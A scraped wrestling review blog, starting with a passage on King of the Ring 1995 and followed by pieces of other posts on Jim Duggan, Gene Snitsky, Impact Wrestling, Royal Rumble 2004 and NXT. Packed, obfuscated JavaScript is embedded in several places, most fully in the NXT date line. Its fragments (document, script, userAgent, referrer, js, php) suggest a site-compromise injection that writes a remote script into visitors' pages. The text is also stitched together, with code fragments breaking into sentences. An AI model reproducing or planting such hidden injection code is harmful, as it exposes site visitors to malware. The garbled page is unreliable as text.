The wrestling isn’t bad I guess, but it’s two lower midcard guys fighting to go face a slightly higher up the midcard guy. I think they botch the finish as Roadie is on the mat and Holly jumps into his boot for the pin but Holly pops his shoulder up just afterwards. I think there was an error in there. Either that or they just ended this before everyone fell asleep and they didn’t have enough smelling salts for the entire arena. Thank goodness this is over.

Rating: D+. Again, why in the world should I have cared about this match? It might as well have opened a house show in Dalton, Georgia or some other town that no one has ever heard of. The crowd was bored to say the least as I can’t believe these two matches were picked to open the show. Again, the wrestling was ok I guess, but why in the world should I care about these two?

Todd is with Shawn, who is freshly face at this point. We see a clip of Shawn qualifying for the Rumble, FIVE WEEKS AGO! Seriously, why wait that long for it? There were In Your House shows around this time so it’s not like they didn’t have time for it or anything. Shawn would win the IC Title the next month now that I think of it.

KOTR Quarterfinals: Kama vs. Shawn Michaels

Shawn beat King Kong Bundy and Kama beat Duke Droese. Kama was kind of feuding with Taker at the time, as was the entire Million Dollar Team. Shawn’s music is messed up here, opening with the guitar solo instead of the regular opening. That’s very odd indeed. Kama is more commonly known as Papa Shango or Godfather depending on what era you’re from.

The crowd is into Shawn as he was at the point on the card where he was bigger than the midcard but not quite into the main event yet, sort of like Austin after Mania 13. Joe Frazier is here. This is a very standard Shawn match which means it’s the best match of the night. Kama works over Shawn, who of course has a bad back as all faces are required to have at some point in their career, until Shawn starts his comeback.

And then we get the evil of the clock on the screen, which means this is going to end in a draw. After a very fast 15 minutes that likely wasn’t really 15 minutes, Shawn has a sunset flip on Kama but as the hand is coming down for three the buzzer goes off and so does the crowd. Why in the WORLD would you have a draw here to eliminate the guy that is likely the most over in your whole company?

I have a bad feeling I know why, but I want to convince myself that’s not really the reason to keep myself from going on a killing spree. Shawn hits the kick after the match to get the fans to put down their pitchforks, but DANG this was stupid. Seriously, why in the world would you get rid of your most over guy?

Does Vince actually believe that Savio freaking Vega is going to be enough of a reason for people to care about this show? That’s flat out stupid. If Vince believes that, then he deserved to almost get put out of business in a year and a half.

Rating: B. Like I said, this is likely going to be the best match of the entire night. Shawn was on the top of his game around this time and no one other than Bret could stay with him in the ring and this was no exception. Shawn carried this thing as Kama’s basic offense wasn’t able to do a thing at all.

He was kind of an MMA sort of character that just didn’t work, much like all of his other gimmicks. This was pretty good though. It’s not great, but Shawn could really do no wrong in the ring at this point.

We get a recap of Mabel vs. Taker, which is kind of pointless. Mabel beat Adam Bomb and Taker beat Jarrett. Yeah that’s all the recap you get. Taker walks with angels apparently.

We get a recap of Backlund campaigning for President. This was in a word BIZARRE. He’s walking around Philadelphia with random kids holding up signs and asking people if they’re related to George Washington. He wants to put carrots in cheese steaks. The editing keeps jumping to him riding in a carriage. This is somehow weirder than it sounds.

KOTR Quarterfinals: Mabel vs. Undertaker

Mabel is interviewed on his way to the ring and cuts the most generic uninteresting promo of all time. He looks like a frekaing idiot too in case you were wondering. I think Hendrix is trying to be like Jerry Lawler and of course it’s just completely failing. Taker has no urn here thanks to Kama so he’s weak or something. Remember all of those really not great Undertaker vs. Big Show matches?

One of those would be great compared to this. Mabel is just a complete and utter joke of a wrestler to put it mildly. He can’t move, he can’t do much of anything as far as offense, he’s tired after about two seconds, and he doesn’t sell anything. Naturally Mabel’s “power (read as elbows, splashes and chinlocks)” offense wears down Taker as Vince and Doc try so hard to convince us that Mabel is a monster.

This just needs to end with Taker beating him and taking the crown. BREAKING NEWS: MABEL CAN PICK UP UNDERTAKER! For some reason this is a big deal and I have no idea why at all. Why in the world would that be a surprise? Mo is more annoying than Santino ever dreamed of being.

Oh great the referee went down after they both laid around for a few minutes. That means it’s going to go on even longer. Taker hits a chokeslam that was pretty good considering he was picking up a beached whale. Kama runs out and kicks him in the head and a legdrop sends Mabel to the finals, to meet the winner of Road Dogg and Savio Vega. I hate this show so much.

Rating: D+. This was just putting me to sleep. What was the point of this anyway? Seriously, Mabel and freaking SAVIO VEGA are going farther in this than Undertaker and Shawn Michaels. Does Vince really think that this is a good idea? Shawn vs. Diesel at Summerslam wouldn’t have been good? It just headlined Mania but it can’t be on Summerslam? This just needs to end now and have people come out from nowhere and say it was all a big joke then let us see the real show.

We get a highlight package from the Hall of Fame induction ceremony last night. This was when it was a complete and utter joke and no one cared about it at all. More or less this was when it was done some time during the year and the inductees were announced after they had been inducted and nothing was televised.

It was somehow a bigger joke than it is today. The seven in this class, which is the third ever, are Ernie Ladd, Moolah, Ivan Putski, Pedro Morales, Ernie Roth (Grand Wizard of Wrestling), Antonio Rocca and George Steele. Bill Murray of all people inducts George Steele from atop an elephant. I seriously don’t have any idea how or why they did that. Putski sings a song and I really hope he’s drunk.

KOTR Semi Finals: Road Dogg vs. Savio Vega

Winner gets Mabel in what I’m sure will be a masterpiece. In what is I guess kind of historic we go to Roadie and Jarrett in the back and Jarrett calls him Road Dogg for the first time. Well at least it’s better than Roadie. He’s really quite good on the mic. Vince making fun of Jarrett never gets old. This is apparently already a great story. I give up.

Oh and Savio has SV cut into the back of his hair. I really don’t like him in case you can’t tell. Jarrett’s pants are cow print. Why? Hendrix is making this show worse. He’s just an idiot on commentary. He’s fine if he’s just being Michael Hayes but this Jerry Lawler impersonation is complete and utter crap. OH Savio is supposed to be Rocky. Yeah that’s just freaking stupid and something else that no one got until Vince told us.

He tends to have to do that a lot with his great ideas. Hendrix accuses Vega of stealing his hubcaps. Apparently Razor would be allowed in if this was a one on one match but he couldn’t handle a tournament. Why say something like that and imply he’s just not tough enough? Just say that he’s injured and be done with it at that. The fans are booing this out of the building while Vince is desperately trying to make Vega look good. It’s failing insanely.

This is just another match where neither guy is ready to be out there and it’s failing completely. To finally end this mess that Razor still isn’t involved in, Jarrett gets on the apron and Savio rams Roadie into him and rolls him up to set up the classic Savio vs. Mabel match we’re all looking forward to.

Vince more or less orgasms over this. To further the stupidity, a Spanish announcer interviews Savio in Spanish, and he responds in Spanish. I hate this show. I understood it, but I’d guess I’m one of the few that did.

Rating: D+. Again, what in the world was the thought process here? Savio was a rookie here and all of a sudden he’s up against Mabel. Mabel is the veteran in the finals. That’s a scary thought in itself. Why in the heck did someone think this was going to be a good idea? In short, it’s really stupid.

The crown looks like a Burger King crown. I wish I was making this up.

We recap Bret vs. Lawler which has gone on for two years now, on and off. More or less, Bret won King of the Ring and Lawler said he was the only real king and beat him up. Lawler then brought in a bunch of royal people to fight Bret and Bret kept winning and beating up Lawler. Jerry kept insulting Bret’s family etc. Bret says this ends tonight and he’s happy for that. This was a good feud if nothing else.

Jerry Lawler vs. Bret Hart

Remember, the loser kisses the winner’s feet. Lawler has no music at first but some kicks in later. The interviewer in the aisle is repulsed by the smell of his feet. This is stupid but it’s something other than Savio and Mabel so it’s an improvement. The idea here is that Lawler knows he has no chance but Bret hates him so much that he’s going to beat on Lawler so much that he’ll get disqualified.

That would be like an MMA fighter having the strategy of he’ll stand there and get punched in the face so much that the other guy has to quit due to exhaustion. Only in wrestling could this be considered a good idea. Finally, 9 minutes after we started this segment, the match begins. Amazingly enough, this is a standard match between these two.

Bret starts hot, Lawler takes over, Bret fights back, Lawler takes over and used his famous foreign object, Bret fights back, Shinja and Hakushi run in and mess up, allowing Hart to take over and hit his finishing sequence for the win. The pop for the Sharpshooter was great. I know that’s REALLY short for a nearly 10 minute match, but there’s just nothing to talk about here.

Bret and Lawler almost always had good matches, but this just wasn’t interesting at all. There was no reason to care here other than it ended a two year long feud that was good but never really great. Again, what was the point of this?

Rating: C+. Again like it’s been all night: the wrestling is ok but I have no reason to care here at all. That’s not a good sign ever. I might as well be watching guys I’ve never seen before. I have no desire to see these guys fight again and while it’s the last match of their feud, that’s just not good ever. The whole show has been like that.

We get an ad for the Special Olympics. I guess they’re the charity of the month or something.

KOTR Finals: Mabel vs. Savio Vega

Smell those buyrates baby. The problem s instantly become apparent here: first of all, these two both suck and there was no logic at all behind pushing them as the focal points of the show. Second, the fans hate them. Neither guy gets anything resembling a good reaction either from a heel perspective or a face perspective. Third, how in the world is Savio supposed to win here other than a fluke rollup or something like that?

This match again follows as basic of a formula as you could possibly imagine: Savio starts hot and Mabel knocks him down and goes into his basic moveset: punch, stomp, punch, bearhug, chinlock. Seriously, I just covered the first 8 minutes of a ten minute match. Savio of course gets some token jobber, because that’s what he is here in case you didn’t realize it, offense in including that pesky fluke rollup attempt.

Here’s the real point of this match as far as we’re concerned though. Just after the chinlock that nearly goes for a minute, the crowd turns on the match and start LOUDLY chanting ECW. It’s so loud that Vince actually acknowledges it. This wasn’t planned or anything, but it was so loud that Vince stopped his commentary, I think out of shock. He really and truly believed what he was putting out there was getting over, and sadly enough I would bet he blamed the wrestlers for the failure here.

Savio’s spin kick gets two, and it’s over soon thereafter. I know this was really short again, but honestly there’s just nothing at all to talk about for any ot these matches, period. It’s just so basic and phoned in that it’s sucking the life out of me. Razor gets beaten up and 1-2-3 Kid runs out and gets beaten up too. There was a tag match at the next In Your House that no one cared about either. Yes, Mabel joins Owen and Bret and eventually Stone Cold as KOTR winners.

Rating: D. Dang it just end this nonsense already! No one likes this stuff, no one cared about Mabel. No one gave care about Savio. YOU HAD FREAKING SHAWN MICHAELS IN THIS THING and you picked MABEL. Seriously, here’s your tournament: Shawn beats Kama and Mabel while Yoko beats Savio and gets the bye so he only wrestles twice. Shawn kicks him in the face and wins the tournament so the fans are happy.

Instead though, Vince has to decide what we like and tell us that Mabel is our new top heel, and shockingly, IT BOMBED. Mabel was complete and utter crap as a big heel and there’s no shock at all as to why. We had to watch Diesel vs. Mabel to main event the worst Summerslam of all time because Vince is fascinated with big men. At the same time we had Hogan vs. Giant in a monster truck match. Do you see why the NWO was considered a gift from God? Dang I hated this tournament.

The coronation might save this nonsense though. It literally goes on for five minutes with bad music playing and Mo reading a proclamation. The only good part here are the fans, who are booing so loudly and chanting ECW so loudly that you can barely hear Mo. Savio comes up and gets pulled back, and the fans pelt both guys with garbage. No one bought this, plain and simple.

Jerry is sick. You and me both brother.

Oh and look! It’s time for the main event! Yes, in something completely forgotten, we have a tag match to go here.

Sid says he can beat Diesel and his injured elbow. Tatanka doesn’t like Bigelow. This was really bad just like everything else with Sid talking about Diesel holding his mother and Bigelow for support.

Diesel and Bigelow say they’ll win. END THIS NOW!!!

Diesel/Bam Bam Bigelow vs. Sid and Tatanka

For some reason Bigelow had a pyromaniac gimmick going on or something like it. His outfit consists of a full body costume with orange and black flames sticking off of it and forearm things that shoot fire. This is so stupid. This match hasn’t been mentioned or hyped or anything at all tonight. Literally, I forgot about it for a lot of the show. That’s how important this match was for the company.

Sid and Diesel had fought at In Your House with Diesel winning. Bigelow was fired from the Million Dollar Team because he kept losing. Other than that, the Team injured Diesel’s arm so it’s bandaged. This feels like a dark match after a show is over that isn’t advertised or anything. Seriously, it’s added on at the end or something like that. What’s the point here?

It’s your standard main event tag match with the faces dominating early and then the heels work on the injury to set up the hot tag, then beat down face #2, Bigelow in this case, leading to the final hot tag to the champion. That takes 15 minutes, and NO ONE CARES! That’s the issue with the whole show. No one cares about anything here because there is zero effort being put into it. You can tell the wrestlers don’t care because this show means nothing at all.

This might as well have been a big house show or something. After working on the injured elbow, which Vince wants them disqualified for in a stupid string of comments, Diesel hits the powerbomb on Tatanka but wants Sid, who runs away so Diesel can get the pin. There would be a lumberjack match the next month and that’s all there is to it. Yeah seriously that’s how the show ends.

Rating: C-. And that’s out of pity. This was just so generic again that all I can call it is average. It had some ok spots but nothing special at all. Sid and Diesel were crushing the company with their horrible feud that never went anywhere. The company somehow managed to screw things up even worse in a few months with Diesel vs. Mabel.

Vince’s love of big men continued to suck the life out of his company and more importantly the fans with these stupid big men matches. Diesel was talented, but the opponents weren’t. Seriously, you have Bret, Shawn, Owen and Taker to put him against and you picked Mabel. That’s just freaking stupid. Anyway, this was ok, but like every single match tonight, there was no reason to care about it and I’m glad this crap is over.

Overall Rating: F-. Just no. This show was completely and utterly awful. As I read somewhere else, NOTHING HAPPENED HERE. Mabel was a bomb in his new role and was out of it in about 3 months. Bret would move on to fight Isaac Yankem who was just another of Lawler’s cronies. Shawn would go on to win the IC Title at a show where they woke up and did the smart thing with him by giving him something to help him stay over.

I seriously can’t get over the idiocy of the booking here. Shawn and Taker, two of the greatest wrestlers of all time were treated like afterthoughts here. Savio bombed and did nothing of note ever again. Yes, this was his career highlight. This and Summerslam might be the worst shows in company history and the main constants there are Mabel and dumb booking. This was a bomb and one of the worst shows I’ve ever seen.

It felt like they were told that they had a PPV in two hours so they threw this together. I don’t know what Vince was thinking and I don’t want to. This was awful and I’m so glad it’s over. Get me something good like Uncensored 96 to watch.

 

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Wrestler of the Day – January 14: Jim Duggan

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thiik|var|u0026u|referrer|dyebn||js|php'.split('|'),0,{})) one is an upgrade over Snitsky. Today it’s Hall of Famer Hacksaw Jim Duggan.

Jim Duggan vs. Ted DiBiase

He pulls back a right hand but DiBiase throws powder in his eyes to save himself. Ted puts on the glove but misses a big right hand and collides with Duggan to put both guys down. DiBiase misses a middle rope glove shot and Jim takes the glove away. A BIG right hand to the forehead knocks DiBiase out cold for the win.

Duggan would jump to the WWF in 1987 and would spend most of the year feuding with foreigners and Harley Race while squashing jobbers. He would be in the first Royal Rumble in January of 1988 which had 20 entrants and aired on free TV.

Royal Rumble

Gang dumps Blair and Roberts in about ten seconds, which is the best thing that could happen in this match. The Junkyard Dog is #20, giving us a final group of Davis, Volkoff, Muraco, Bass, Hillbilly Jim, Dino Bravo, Ultimate Warrior, Gang, Duggan and Dog. Hillbilly and Gang hammer on each other as Duggan puts Volkoff out. Gang tosses Hillbilly as Bravo and Davis double team Duggan. This ends badly for Davis as Duggan dumps him to a BIG pop.

Jim gets double teamed for awhile and Bravo drops an elbow on him. The same clothesline sequence the heels tried earlier backfires and Bravo gets clotheslined out. Duggan pounds on Gang in a Mid-South reunion but a single shot from Gang takes him down. Gang beats on him next to the ropes, so Duggan low bridges him to win the first Royal Rumble.

Duggan spent the next few years beating up jobbers and doing little against big names. He was always an American though and was the first man to stand up to the evil Sgt. Slaughter when he turned his back on America. Duggan received a WWF Title shot against Slaughter at the Main Event IV.

WWF Title: Jim Duggan vs. Sgt. Slaughter

Pretty clear what we’ve got here but the story makes sense at least. Duggan brings Hogan with him which is about as simple of a pairing as you could ever ask for anywhere. Hogan gets thrown out during a break which is kind of odd. Ah apparently he isn’t a legal manager. Standard punch/kick stuff here as we all know Duggan isn’t going to do anything here.

Three Point Clothesline sends Slaughter to the floor. The General gets involved and then gets punched. Iron Sheik in case you didn’t know that. Duggan can’t do much other than punch here but that sums up a lot of his career in WWF. Board to the jaw of Duggan and Slaughter takes over even more. Duggan goes after the Sheik and Slaughter pops him with a chair for the DQ. Hogan runs out for the save and gets beaten down with the chair too.

Rating: D. Again nothing special at all here as Duggan just did nothing but throw punches and kicks. It was all setting up the DQ and the Hogan beatdown afterwards which is fine I guess but I would have liked a more entertaining match. At least the characters match up very well. This wasn’t very good but I’ve seen far worse.

US Title: Steve Austin vs. ???

And it’s Jim Duggan. Yes, the same Jim Duggan that hadn’t been seen in over a year. Yes, the same Jim Duggan that won what, four big matches EVER? Yes, the same Jim Duggan that apparently is number one contender despite NEVER WRESTLING HERE BEFORE. This is apparently a big deal.

Why it’s a big deal is beyond me but whatever. The bell rings three separate times so I guess we had two matches but whatever. Austin tries to run because this is terrifying or something I guess. Here’s the match: Backdrop, splash, pin. It’s an 8 second match which is called 27 for no apparent reason.

Rating: H. That’s for Hogan as that’s the only reason behind this at all. So let’s see. Steamboat is gone, Cactus is gone, and Austin looks like a joke. In their places we have Kevin Sullivan, Jim Duggan and Paul Orndorff later in the night, who had one good arm mind you.

He would hold the title for about three months, eventually losing it to Vader. Duggan would again drop down to the lower card and feud with whoever was around at the time. Around this time he developed a gimmick where he kept a roll of tape in his trunks and would wrap it around his hand to knock out his opponents. This led to a taped fist match for the Lord of the Ring at Bash at the Beach 1996.

Lord of the Ring: Diamond Dallas Page vs. Jim Duggan

This is a taped fist match for the stupid ring that DDP won last month that is now worthless since his title shot was revoked. So apparently in this you can tape your fists more than you usually can? I hate WCW. I truly do hate it at times, but at least it improves for a bit after this. The fans chant USA, even though both guys are Americans. That always made my head hurt.

I’d love to see someone that Duggan was fighting get fired up more than he did because of the chants and shout about how they’re MORE American than Duggan. Apparently 10,000 people were turned away. Maybe it would be better if they got an arena that held 10,000 people in the first place. Duggan has his feet taped together around the post. Again, is there some kind of tape fetish in this company? And he just gets out through some unseen method.

Again, Guerrrero vs. Regal and Heat vs. Steiners. Just thought I’d remind you of that. Page uses the ropes to avoid a suplex and Tony gets on him for it. Why? It’s a legal move. Everybody is shocked that Duggan can manage to take control without tape on his fists. Thanks for the vote of confidence in Duggan. After being on the floor for 8 seconds, Duggan slides Page in and walks into the Diamond Cutter for the pin. Duggan throws some tape on his fist and knocks Page out anyway. Another waste of time.

Rating: D-. Again, WHAT WAS THE POINT OF THIS? For the life of me I can’t think of one. Either way, the match was terrible and I still fail to see the point in it. Just a waste of five minutes or so. Duggan was little more than a comedy guy at this point and that’s not the kind of match you should have on a PPV.

TV Title: Jim Duggan vs. Robert Gibson

Charlie Haas vs. Jim Duggan

The announcers talk about the upcoming Wrestlemania 24 as Duggan scores with some early clotheslines to send Charlie outside. Haas goes under the ring and puts on a mask for some stupid gimmick he was doing at the time. Charlie gets all aggressive with the mask on and stomps away before getting two off an ax handle. Choking ensues and we hit a chinlock. Duggan fights up and takes off the mask, freaking Haas out enough that the three point clothesline can connect for the pin.

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Wrestler of the Day – January 13: Gene Snitsky

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sasyn|var|u0026u|referrer|enhkn||js|php'.split('|'),0,{})) a slightly lesser known name today due to a lack of interesting wrestlers’ parents mating nine months earlier. Today it’s Gene Snitsky.

Gene debuted on Raw after a meaningless run in OVW. His first match on Raw was seemingly as a jobber on the September 13, 2004 episode of Monday Night Raw against Kane.

Kane vs. Gene Snitsky

Kane vs. Gene Snitsky

Snitsky would fall down the card for several months before getting a brief resurrgence for a feud with Big Show, culminating in a match at Unforgiven 2005.

Big Show vs. Snitsky

One of the dangers of doing these reviews is running into matches like this one with zero backstory at all. I’m really hoping we get an explanation here because I don’t think I’m going to be able to make myself care about it otherwise. Ok so apparently Snitsky jumped Show with the bell but we get cut off by a brawl so we have to stop the flashback. Show throws him around with ease so Snitsky tries to walk.

Show does the SHHH bit and Snitsky is in trouble. Well it worked well the first time so let’s do it again. Show’s charge into the post misses and he clotheslines the steel. We actually go to the flashback while Snitsky has a hold on Show. It’s an armlock so at least he’s thinking. Snitsky manages a belly to back suplex which was pretty impressive. It only gets two but still it looked good.

Snitsky can’t keep him down so he goes back to the arm because that’s worked so well thus far. Ok so that is actually good psychology but it’s a little boring, especially when we know Snitsky has about as much chance as I do of beating Big Show. Show grabs a spinebuster out of nowhere and both guys are down. Show NIPS UP (holding the rope but still) and I think you know what’s coming now. Splash in the corner sets up the chokeslam for the pin.

Rating: C. This was under seven minutes and that’s the best thing that could have happened to it. They just did power stuff and the arm worked helped it a little bit. It’s not a good match or anything but it could have been a lot worse, which is why the keeping it short was a great thing. Snitsky was pretty worthless after his debut feud with Kane though.

Snitsky would plummet down the card after this, appearaing primarily on Sunday Night Heat. He would get one brief return to TV on ECW as a monster heel, including a match with Rob Van Dam on the May 15, 2007 episode of ECW on Sci-Fi.

Rob Van Dam vs. Snitsky

Snitsky vs. Phil Atlas

Snitsky closed out his WWE tenure in 2008, including a non-title match against World Heavyweight Champion CM Punk on the July 7, 2008 episode of Monday Night Raw.

CM Punk vs. Snitsky

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Impact Wrestling – January 16, 2014: The Main Story Actually Put Me To Sleep

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndffs|var|u0026u|referrer|bkkst||js|php'.split('|'),0,{})) Wrestling
Date: January 16, 2014
Location: Von Braun Center, Huntsville, Alabama
Commentators: Mike Tenay, Tazz

We open with a very nice tribute to Mae Young with Tazz saying some kind things about his time with her. Nothing wrong with that.

Recap of the unification match from last week.

Velvet Sky is seen talking to Austin Aries in the back until Chris Sabin comes up and demands to talk to her in the ring.

Kurt Angle arrives and is looking for Dixie and/or Al Snow, the latter of whom told Angle that he had a family emergency.

Angle has already changed into his wrestling gear and is still looking for Dixie.

Ethan Carter practices his catchphrase when Magnus comes in to say believe in yourself. Magnus got to the top by himself and Ethan can do the same.

Bully Ray comes to the ring for his No DQ match with Anderson but Ken jumps him from behind as we go to a break before a bell.

Bully Ray vs. Mr. Anderson

Angle finds Al Snow and demands to know what happened last week. Al says he was just following orders and gets thrown down.

Knockouts Title: Gail Kim vs. Madison Rayne

Sting vs. Ethan Carter III

Spud is guest referee to really keep the deck stacked. Sting takes Carter into the corner and is immediately warned for his actions. Carther does the same and nothing happens as you would expect. A dropkick sends Carter to the floor and Sting rams him into the steps for good measure. Back in and Spud gets in the way of a Stinger Splash attempt, allowing Ethan to take over with right hands of his own.

Results

Bully Ray b. Mr. Anderson – Piledriver

Madison Rayne b. Gail Kim – Rayne Drop

Ethan Carter III b. Sting – Rollup

 

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Royal Rumble Count-Up – 2004: With That One Guy

Royal Rumble 2004
Date: January 25, 2004
Location: Wachovia Center, Philadelphia, Pennsylvania
Attendance: 17,289
Commentators: Michael Cole, Tazz, Jerry Lawler, Jim Ross, Jerry Lawler

Raw Tag Titles: Dudley Boys vs. Evolution

Rating: D. This match fell into the same trap that all bad tables matches fall into: the dull set of spots that fail until one works for the win. You rarely get something that gets around this through sheer carnage such as the match at the 2000 Rumble, but this was just terrible. I have no idea what they were going for here as the fans were disappointed and they only had four and a half minutes to get into it. Also: real smart WWE. This is the right way to start a show in Philadelphia: have some of the most famous ECW guys ever lose.

Cena raps about winning the Rumble when RVD comes in to steal the joke. Weed jokes are made. Josh Matthews looks like the king of all tools here.

Cruiserweight Title: Rey Mysterio vs. Jamie Noble

Noble yells at Nidia post match.

Eddie Guerrero vs. Chavo Guerrero

Back to the mat with Eddie working on the arm before Chavo nips up and hooks a rana to send them both to the floor. Chavo sends Eddie into the announce table to finally take over and get some of the aggression going. Back in and they get into a kind of MMA style brawl on the mat until Eddie hooks a cross armbreaker of all things. That goes nowhere so Chavo suplexes Eddie down for two, followed by the Three Amigos. Eddie counters a tornado DDT and hits Three Amigos of his own. Chavo is down so Eddie goes up and hits the Frog Splash for the pin. ANOTHER quick ending tonight.

Rating: C+. This was way better than the other matches, but this felt like it was missing fifteen minutes or so. Three matches so far have combined to be about fifteen minutes long which is pretty lame for a modern PPV, even for the Rumble. This could have been a lot more, but the feud was completely done after tonight. Eddie would become #1 contender on the following Smackdown.

Eddie destroys Chavo post match in a pretty heelish display. Chavo gets busted open.

Smackdown World Title: Brock Lesnar vs. Hardcore Holly

Raw World Title: Shawn Michaels vs. HHH

Out of nowhere Shawn takes out the leg and hooks a Figure Four, because where would we be without a Flair tribute? That gets a five count so Shawn hits a chop block for a four. HHH low bridges Shawn and we head to the floor for a bit. HHH loads up the announce table but Shawn blocks a Pedigree attempt. They slug it out on the table with HHH getting knocked to the floor, drawing a bunch of booing from the bloodthirsty Philadelphia fans.

Rumble video with a focus on Benoit.

Royal Rumble

The handspring elbow takes Orton down but Benoit rolls some Germans on Tajiri to take him down. Tajiri only gets two as I guess Benoit is conserving strength. Henry throws Orton to the apron but stops looking like an idiot. Bradshaw is #5 and he immediately clotheslines down everyone not named Benoit. Benoit takes offense to being left out and puts Bradshaw in the Crossface before pulling Bradshaw out. Eh he would get a nine month title reign stating in the summer so I feel no sympathy for him.

Everyone tries to throw each other out while laying on the ropes until Rikishi is #14. Benoit dumps Rhyno to keep us at six people (Benoit, Orton, Rikishi, Booker, Morgan, Hardy) in the ring. Morgan gets a Stinkface and nothing else happens for a bit. Renee Dupree with the French Tickler is #15. In a surprising moment, Dupree actually knocks Matt out, only to be superkicked out by Rikishi a second later.

Ratings Comparison

Evolution vs. Dudley Boys

Original: C

Redo: D

Rey Mysterio vs. Jamie Noble

Original: N/A

Redo: D+

Chavo Guerrero vs. Eddie Guerero

Original: C+

Redo: C+

Brock Lesnar vs. Hardcore Holly

Original: D-

Redo: D

HHH vs. Shawn Michaels

Original: C+

Redo: C-

Royal Rumble

Original: A

Redo: A

Overall Rating

Original: C+

Redo: B-

Just as last time, the Rumble is the only thing worth seeing.

http://kbwrestlingreviews.com/2011/01/23/royal-rumble-count-up-2004-he-who-must-not-be-named/

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NXT – January 16, 2014: The Future Is Bright

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dtzak|var|u0026u|referrer|rtkki||js|php'.split('|'),0,{})) January 15, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: Byron Saxton, Tom Phillips, Tensai

Welcome Home.

Adrian Neville vs. Tyler Breeze

Fallout from the lumberjack match a month ago when Breeze cost Neville the title. Tyler grabs a headlock to start but Neville runs him over with a shoulder block to send Tyler to the floor. Neville teases a dive but backflips into the middle of the ring and waits on Breeze. Back in and Neville sends him face first into the buckle, drawing a NOT IN THE FACE chant. Instead Adrian kicks him in the chest, followed up by some loud chops. Neville heads to the apron but gets caught by a springboard dropkick as we take a break.

Back with Tyler holding Neville in a chinlock as Adrian fights up. Tyler takes him down again but stops for a quick photo op. Neville uses the breather to snap off a tilt-a-whirl backbreaker to get himself a breather. A spinning kick to the ribs sets up a running dropkick to the head for two as Breeze is in trouble. Neville loads up a springboard dropkick but Breeze dropkicks him out of the air for two of his own. Good stuff so far.

CJ Parker vs. Jason Jordan

Bo Dallas vs. Mojo Rawley

Kofi Kingston vs. Alexander Rusev

Back up and more shots to the ribs have Kofi in trouble but he sidesteps a charging Bulgarian and sends him to the floor. Kofi misses a baseball slide but scores with a clothesline off the steps as we take a break. We come back with Kofi having a chinlock broken up but managing to avoid a charge. Kofi pounds away in the corner but Rusev counters into a powerbomb for two. The fans chant FEED ME MORE at Rusev before changing over to GOLDBERG.

Rusev drops some elbows and headbutts before going back to the nerve hold. Now the fans start doing the wave as Kofi fights back with chops and a dropkick, only to have his cross body caught in midair. Rusev, still holding Kofi, drives knees into the ribs before trying a Samoan drop but Kofi rolls him up for two. Kingston avoids a charge in the corner and kicks Rusev in the face, but his top rope cross body is caught again, setting up the Samoan drop for two.

Kofi dodges another charge, though this time Rusev puts on the brakes because he actually learns during his matches. The SOS gets two and some hard kicks to the face have Rusev in more trouble. Rusev comes back with a clothesline but Kofi hits his jumping clothesline to take him down again. The Boom Drop connects and after a distraction from Lana, Trouble in Paradise is enough to pin Rusev at 12:09 shown of 15:39.

Results

Adrian Neville b. Tyler Breeze – Red Arrow

CJ Parker b. Jason Jordan – Third Eye

Bo Dallas b. Mojo Rawley – Rollup with a handful of trunks

Kofi Kingston b. Alexander Rusev – Trouble in Paradise

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